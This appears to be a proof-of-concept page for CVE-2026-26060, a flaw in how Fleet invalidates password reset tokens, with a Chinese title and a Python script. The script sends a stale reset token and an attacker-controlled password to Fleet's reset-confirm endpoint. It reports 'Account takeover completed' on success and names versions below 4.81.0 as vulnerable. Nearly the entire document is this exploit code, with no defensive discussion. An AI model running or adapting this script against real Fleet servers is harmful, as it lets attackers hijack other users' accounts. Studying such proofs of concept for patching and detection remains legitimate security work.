CVE-2026-26060 Fleet密码重置令牌失效逻辑缺陷

import requests # Target configuration target_url = "https://fleet.example.com/api/v1/fleet/users/password/reset/confirm" # The stale token obtained by the attacker before the victim changed the password stale_reset_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # New password to set for the account takeover new_password = "AttackerControlledPass123!" # Construct payload payload = { "token": stale_reset_token, "new_password": new_password, "new_password_confirmation": new_password } try: # Send the password reset request using the old token # In vulnerable versions (< 4.81.0), this will succeed even if the password was changed response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Success: Password reset using stale token.") print("[+] Account takeover completed.") else: print(f"[-] Failed: Status code {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error: {e}")